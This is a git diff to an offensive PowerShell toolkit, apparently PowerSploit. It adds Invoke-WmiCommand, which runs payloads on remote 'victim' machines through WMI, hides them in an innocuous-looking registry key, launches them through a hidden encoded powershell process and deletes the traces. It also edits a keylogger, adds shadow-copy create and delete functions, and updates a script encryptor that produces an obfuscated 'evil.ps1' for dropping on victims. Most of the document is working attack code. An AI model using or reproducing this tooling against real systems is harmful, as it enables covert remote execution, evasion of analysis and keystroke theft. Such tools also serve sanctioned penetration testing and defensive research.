diff --git a/CodeExecution/Invoke-WmiCommand.ps1 b/CodeExecution/Invoke-WmiCommand.ps1 new file mode 100644 index 0000000..6ee1e15 --- /dev/null +++ b/CodeExecution/Invoke-WmiCommand.ps1 @@ -0,0 +1,334 @@ +#Requires -Version 2 + +function Invoke-WmiCommand { +<# +.SYNOPSIS + +Executes a PowerShell ScriptBlock on a target computer using WMI as a +pure C2 channel. + +Author: Matthew Graeber +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Invoke-WmiCommand executes a PowerShell ScriptBlock on a target +computer using WMI as a pure C2 channel. It does this by using the +StdRegProv WMI registry provider methods to store a payload into a +registry value. The command is then executed on the victim system and +the output is stored in another registry value that is then retrieved +remotely. + +.PARAMETER Payload + +Specifies the payload to be executed on the remote system. + +.PARAMETER RegistryKeyPath + +Specifies the registry key where the payload and payload output will +be stored. + +.PARAMETER RegistryPayloadValueName + +Specifies the registry value name where the payload will be stored. + +.PARAMETER RegistryResultValueName + +Specifies the registry value name where the payload output will be +stored. + +.PARAMETER ComputerName + +Runs the command on the specified computers. The default is the local +computer. + +Type the NetBIOS name, an IP address, or a fully qualified domain +name of one or more computers. To specify the local computer, type +the computer name, a dot (.), or "localhost". + +This parameter does not rely on Windows PowerShell remoting. You can +use the ComputerName parameter even if your computer is not +configured to run remote commands. + +.PARAMETER Credential + +Specifies a user account that has permission to perform this action. +The default is the current user. Type a user name, such as "User01", +"Domain01\User01", or User@Contoso.com. Or, enter a PSCredential +object, such as an object that is returned by the Get-Credential +cmdlet. When you type a user name, you will be prompted for a +password. + +.PARAMETER Impersonation + +Specifies the impersonation level to use. Valid values are: + +0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".) + +1: Anonymous (Hides the credentials of the caller.) + +2: Identify (Allows objects to query the credentials of the caller.) + +3: Impersonate (Allows objects to use the credentials of the caller.) + +4: Delegate (Allows objects to permit other objects to use the credentials of the caller.) + +.PARAMETER Authentication + +Specifies the authentication level to be used with the WMI connection. Valid values are: + +-1: Unchanged + +0: Default + +1: None (No authentication in performed.) + +2: Connect (Authentication is performed only when the client establishes a relationship with the application.) + +3: Call (Authentication is performed only at the beginning of each call when the application receives the request.) + +4: Packet (Authentication is performed on all the data that is received from the client.) + +5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.) + +6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.) + +.PARAMETER EnableAllPrivileges + +Enables all the privileges of the current user before the command +makes the WMI call. + +.PARAMETER Authority + +Specifies the authority to use to authenticate the WMI connection. +You can specify standard NTLM or Kerberos authentication. To use +NTLM, set the authority setting to ntlmdomain:<DomainName>, where +<DomainName> identifies a valid NTLM domain name. To use Kerberos, +specify kerberos:<DomainName\ServerName>. You cannot include the +authority setting when you connect to the local computer. + +.EXAMPLE + +PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1' + +.EXAMPLE + +PS C:\>$Hosts = Get-Content hostnames.txt +PS C:\>$Payload = Get-Content payload.ps1 +PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser' +PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential + +.EXAMPLE + +PS C:\>$Payload = Get-Content payload.ps1 +PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2' + +.EXAMPLE + +PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose + +.INPUTS + +System.String[] + +Accepts one or more host names/IP addresses over the pipeline. + +.OUTPUTS + +System.Management.Automation.PSObject + +Outputs a custom object consisting of the target computer name and +the output of the command executed. + +.NOTES + +In order to receive the output from your payload, it must return +actual objects. For example, Write-Host doesn't return objects +rather, it writes directly to the console. If you're using +Write-Host in your scripts though, you probably don't deserve to get +the output of your payload back. :P +#> + + [CmdletBinding()] + Param ( + [Parameter( Mandatory = $True )] + [ScriptBlock] + $Payload, + + [String] + [ValidateSet( 'HKEY_LOCAL_MACHINE', + 'HKEY_CURRENT_USER', + 'HKEY_CLASSES_ROOT', + 'HKEY_USERS', + 'HKEY_CURRENT_CONFIG' )] + $RegistryHive = 'HKEY_CURRENT_USER', + + [String] + [ValidateNotNullOrEmpty()] + $RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG', + + [String] + [ValidateNotNullOrEmpty()] + $RegistryPayloadValueName = 'Seed', + + [String] + [ValidateNotNullOrEmpty()] + $RegistryResultValueName = 'Value', + + [Parameter( ValueFromPipeline = $True )] + [Alias('Cn')] + [String[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential, + + [Management.ImpersonationLevel] + $Impersonation, + + [System.Management.AuthenticationLevel] + $Authentication, + + [Switch] + $EnableAllPrivileges, + + [String] + $Authority + ) + + BEGIN { + switch ($RegistryHive) { + 'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 } + 'HKEY_CURRENT_USER' { $Hive = 2147483649 } + 'HKEY_CLASSES_ROOT' { $Hive = 2147483648 } + 'HKEY_USERS' { $Hive = 2147483651 } + 'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 } + } + + $WmiMethodArgs = @{} + + # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod + if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential } + if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation } + if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication } + if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges } + if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority } + + $AccessPermissions = @{ + KEY_QUERY_VALUE = 1 + KEY_SET_VALUE = 2 + KEY_CREATE_SUB_KEY = 4 + KEY_CREATE = 32 + DELETE = 65536 + } + + # These are all of the registry permissions we'll require + $RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor + $AccessPermissions['KEY_SET_VALUE'] -bor + $AccessPermissions['KEY_CREATE_SUB_KEY'] -bor + $AccessPermissions['KEY_CREATE'] -bor + $AccessPermissions['DELETE'] + } + + PROCESS { + foreach ($Computer in $ComputerName) { + # Pass the individual computer name to Invoke-WmiMethod + $WmiMethodArgs['ComputerName'] = $Computer + + Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath" + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath" + } + + Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath" + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions + + if (-not $Result.bGranted) { + throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand." + } + + $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload)) + + Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + } + + # Prep the script runner payload from the remote system + $PayloadRunnerArgs = @" + `$Hive = '$Hive' + `$RegistryKeyPath = '$RegistryKeyPath' + `$RegistryPayloadValueName = '$RegistryPayloadValueName' + `$RegistryResultValueName = '$RegistryResultValueName' + `n +"@ + + $RemotePayloadRunner = $PayloadRunnerArgs + { + $WmiMethodArgs = @{ + Namespace = 'Root\default' + Class = 'StdRegProv' + } + + $Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName + + if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) { + $Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue)) + + $SerilizedPayloadResult = Invoke-Expression ($Payload) | % { + [Management.Automation.PSSerializer]::Serialize($_, 4) + } + + $null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadResult, $RegistryResultValueName + $null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName + } + } + + $Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner)) + + $Cmdline = "powershell -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload" + + # Execute the payload runner on the remote system + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline + + Start-Sleep -Seconds 5 + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + } + + Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" + } + + Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" + + $SerilizedPayloadResult = $Result.sValue + $PayloadResult = [Management.Automation.PSSerializer]::Deserialize($SerilizedPayloadResult) + + $FinalResult = New-Object PSObject -Property @{ + PSComputerName = $Computer + PayloadOutput = $PayloadResult + } + + Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" + $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName + + Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath" + $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath + + return $FinalResult + } + } +} diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index 75400a1..8beaf75 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -49,7 +49,7 @@ function Get-Keystrokes { $Initilizer = { $LogPath = 'REPLACEME' - '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode + '"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode function KeyLog { [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null diff --git a/Exfiltration/VolumeShadowCopyTools.ps1 b/Exfiltration/VolumeShadowCopyTools.ps1 index e8c28a1..49fe22d 100644 --- a/Exfiltration/VolumeShadowCopyTools.ps1 +++ b/Exfiltration/VolumeShadowCopyTools.ps1 @@ -20,7 +20,152 @@ Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' } - Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.DeviceObject } + Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject } +} + +function New-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Creates a new volume shadow copy. + + PowerSploit Function: New-VolumeShadowCopy + Author: Jared Atkinson (@jaredcatkinson) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 2.0.0 + +.DESCRIPTION + + New-VolumeShadowCopy creates a volume shadow copy for the specified volume. + +.PARAMETER Volume + + Volume used for the shadow copy. This volume is sometimes referred to as the original volume. + The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name. + +.PARAMETER Context + + Context that the provider uses when creating the shadow. The default is "ClientAccessible". + +.EXAMPLE + + New-VolumeShadowCopy -Volume C:\ + + Description + ----------- + Creates a new VolumeShadowCopy of the C drive +#> + Param( + [Parameter(Mandatory = $True)] + [ValidatePattern('^\w:\\')] + [String] + $Volume, + + [Parameter(Mandatory = $False)] + [ValidateSet("ClientAccessible")] + [String] + $Context = "ClientAccessible" + ) + + $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) + + if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' + } + + # Save VSS Service initial state + $running = (Get-Service -Name VSS).Status + + $class = [WMICLASS]"root\cimv2:win32_shadowcopy" + + $return = $class.create("$Volume", "$Context") + + switch($return.returnvalue) + { + 1 {Write-Error "Access denied."; break} + 2 {Write-Error "Invalid argument."; break} + 3 {Write-Error "Specified volume not found."; break} + 4 {Write-Error "Specified volume not supported."; break} + 5 {Write-Error "Unsupported shadow copy context."; break} + 6 {Write-Error "Insufficient storage."; break} + 7 {Write-Error "Volume is in use."; break} + 8 {Write-Error "Maximum number of shadow copies reached."; break} + 9 {Write-Error "Another shadow copy operation is already in progress."; break} + 10 {Write-Error "Shadow copy provider vetoed the operation."; break} + 11 {Write-Error "Shadow copy provider not registered."; break} + 12 {Write-Error "Shadow copy provider failure."; break} + 13 {Write-Error "Unknown error."; break} + default {break} + } + + # If VSS Service was Stopped at the start, return VSS to "Stopped" state + if($running -eq "Stopped") + { + Stop-Service -Name VSS + } +} + +function Remove-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Deletes a volume shadow copy. + + PowerSploit Function: Remove-VolumeShadowCopy + Author: Jared Atkinson (@jaredcatkinson) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 2.0.0 + +.DESCRIPTION + + Remove-VolumeShadowCopy deletes a volume shadow copy from the system. + +.PARAMETER InputObject + + Specifies the Win32_ShadowCopy object to remove + +.PARAMETER DevicePath + + Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. + +.EXAMPLE + + Get-VolumeShadowCopy | Remove-VolumeShadowCopy + + Description + ----------- + Removes all volume shadow copy + +.EXAMPLE + + Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' + + Description + ----------- + Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4 +#> + [CmdletBinding(SupportsShouldProcess = $True)] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] + [String] + $DevicePath + ) + + PROCESS + { + if($PSCmdlet.ShouldProcess("The VolumeShadowCopy at DevicePath $DevicePath will be removed")) + { + (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete() + } + } } function Mount-VolumeShadowCopy @@ -22,6 +22,10 @@ Injects shellcode into the process ID of your choosing or within PowerShell loca Execute shellcode within the context of the running PowerShell process without making any Win32 function calls. +#### `Invoke-WmiCommand` + +Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. + ## ScriptModification **Modify and/or prepare scripts for execution on a compromised machine.** diff --git a/ScriptModification/Out-EncryptedScript.ps1 b/ScriptModification/Out-EncryptedScript.ps1 index 4fc69cf..1764d17 100644 --- a/ScriptModification/Out-EncryptedScript.ps1 +++ b/ScriptModification/Out-EncryptedScript.ps1 @@ -13,7 +13,9 @@ Optional Dependencies: None .DESCRIPTION
-Out-EncryptedScript will encrypt a script (or any text file for that matter) and output the results to a minimally obfuscated script - evil.ps1.
+Out-EncryptedScript will encrypt a script (or any text file for that
+matter) and output the results to a minimally obfuscated script -
+evil.ps1 by default.
.PARAMETER ScriptPath
@@ -27,13 +29,22 @@ Password to encrypt/decrypt the script Salt value for encryption/decryption. This can be any string value.
+.PARAMETER InitializationVector
+
+Specifies a 16-character the initialization vector to be used. This
+is randomly generated by default.
+
.EXAMPLE
C:\PS> Out-EncryptedScript .\Naughty-Script.ps1 password salty
Description
-----------
-Encrypt the contents of this file with a password and salt. This will make analysis of the script impossible without the correct password and salt combination. This command will generate evil.ps1 that can dropped onto the victim machine. It only consists of a decryption function 'de' and the base64-encoded ciphertext.
+Encrypt the contents of this file with a password and salt. This will
+make analysis of the script impossible without the correct password
+and salt combination. This command will generate evil.ps1 that can
+dropped onto the victim machine. It only consists of a decryption
+function 'de' and the base64-encoded ciphertext.
.EXAMPLE
@@ -44,15 +55,13 @@ C:\PS> Invoke-Expression $decrypted Description
-----------
-This series of instructions assumes you've already encrypted a script and named it evil.ps1. The contents are then decrypted and the unencrypted script is called via Invoke-Expression
+This series of instructions assumes you've already encrypted a script
+and named it evil.ps1. The contents are then decrypted and the
+unencrypted script is called via Invoke-Expression
.NOTES
This command can be used to encrypt any text-based file/script
-
-.LINK
-
-http://www.exploit-monday.com
#>
[CmdletBinding()] Param (
@@ -69,8 +78,9 @@ http://www.exploit-monday.com $Salt,
[Parameter(Position = 3)]
+ [ValidateLength(16, 16)]
[String]
- $InitializationVector = ( @( foreach ($i in 1..16) { [Char](Get-Random -Min 0x41 -Max 0x5B) } ) -join '' ), # Generate random 16 character IV
+ $InitializationVector = ((1..16 | % {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join ''),
[Parameter(Position = 4)]
[String]
@@ -78,13 +88,13 @@ http://www.exploit-monday.com )
$AsciiEncoder = New-Object System.Text.ASCIIEncoding
- $ivBytes = $AsciiEncoder.GetBytes("CRACKMEIFYOUCAN!")
+ $ivBytes = $AsciiEncoder.GetBytes($InitializationVector)
# While this can be used to encrypt any file, it's primarily designed to encrypt itself.
- [Byte[]] $scriptBytes = Get-Content -Encoding byte -Path $ScriptPath
+ [Byte[]] $scriptBytes = [Text.Encoding]::ASCII.GetBytes((Get-Content -Encoding Ascii -Path $ScriptPath))
$DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($Password, $AsciiEncoder.GetBytes($Salt), "SHA1", 2)
- $Key = New-Object System.Security.Cryptography.RijndaelManaged
+ $Key = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
$Key.Mode = [System.Security.Cryptography.CipherMode]::CBC
- [Byte[]] $KeyBytes = $DerivedPass.GetBytes(32)
+ [Byte[]] $KeyBytes = $DerivedPass.GetBytes(16)
$Encryptor = $Key.CreateEncryptor($KeyBytes, $ivBytes)
$MemStream = New-Object System.IO.MemoryStream
$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($MemStream, $Encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
@@ -97,33 +107,31 @@ http://www.exploit-monday.com $Cipher = [Convert]::ToBase64String($CipherTextBytes)
# Generate encrypted PS1 file. All that will be included is the base64-encoded ciphertext and a slightly 'obfuscated' decrypt function
-$Output = 'function de([String] $b, [String] $c)
+$Output = @"
+function de([String] `$b, [String] `$c)
{
-$a = "'
-$Output += $cipher
-$Output += '"'
-$Output += ';
-$encoding = New-Object System.Text.ASCIIEncoding;
-$dd = $encoding.GetBytes("CRACKMEIFYOUCAN!");
-$aa = [Convert]::FromBase64String($a);
-$derivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($b, $encoding.GetBytes($c), "SHA1", 2);
-[Byte[]] $e = $derivedPass.GetBytes(32);
-$f = New-Object System.Security.Cryptography.RijndaelManaged;
-$f.Mode = [System.Security.Cryptography.CipherMode]::CBC;
-[Byte[]] $h = New-Object Byte[]($aa.Length);
-$g = $f.CreateDecryptor($e, $dd);
-$i = New-Object System.IO.MemoryStream($aa, $True);
-$j = New-Object System.Security.Cryptography.CryptoStream($i, $g, [System.Security.Cryptography.CryptoStreamMode]::Read);
-$r = $j.Read($h, 0, $h.Length);
-$i.Close();
-$j.Close();
-$f.Clear();
-return $encoding.GetString($h,0,$h.Length);
-}'
+`$a = "$Cipher";
+`$encoding = New-Object System.Text.ASCIIEncoding;
+`$dd = `$encoding.GetBytes("$InitializationVector");
+`$aa = [Convert]::FromBase64String(`$a);
+`$derivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes(`$b, `$encoding.GetBytes(`$c), "SHA1", 2);
+[Byte[]] `$e = `$derivedPass.GetBytes(16);
+`$f = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;
+`$f.Mode = [System.Security.Cryptography.CipherMode]::CBC;
+[Byte[]] `$h = New-Object Byte[](`$aa.Length);
+`$g = `$f.CreateDecryptor(`$e, `$dd);
+`$i = New-Object System.IO.MemoryStream(`$aa, `$True);
+`$j = New-Object System.Security.Cryptography.CryptoStream(`$i, `$g, [System.Security.Cryptography.CryptoStreamMode]::Read);
+`$r = `$j.Read(`$h, 0, `$h.Length);
+`$i.Close();
+`$j.Close();
+`$f.Clear();
+return `$encoding.GetString(`$h,0,`$h.Length);
+}
+"@
# Output decrypt function and ciphertext to evil.ps1
Out-File -InputObject $Output -Encoding ASCII $FilePath
Write-Verbose "Encrypted PS1 file saved to: $(Resolve-Path $FilePath)"
-
}
|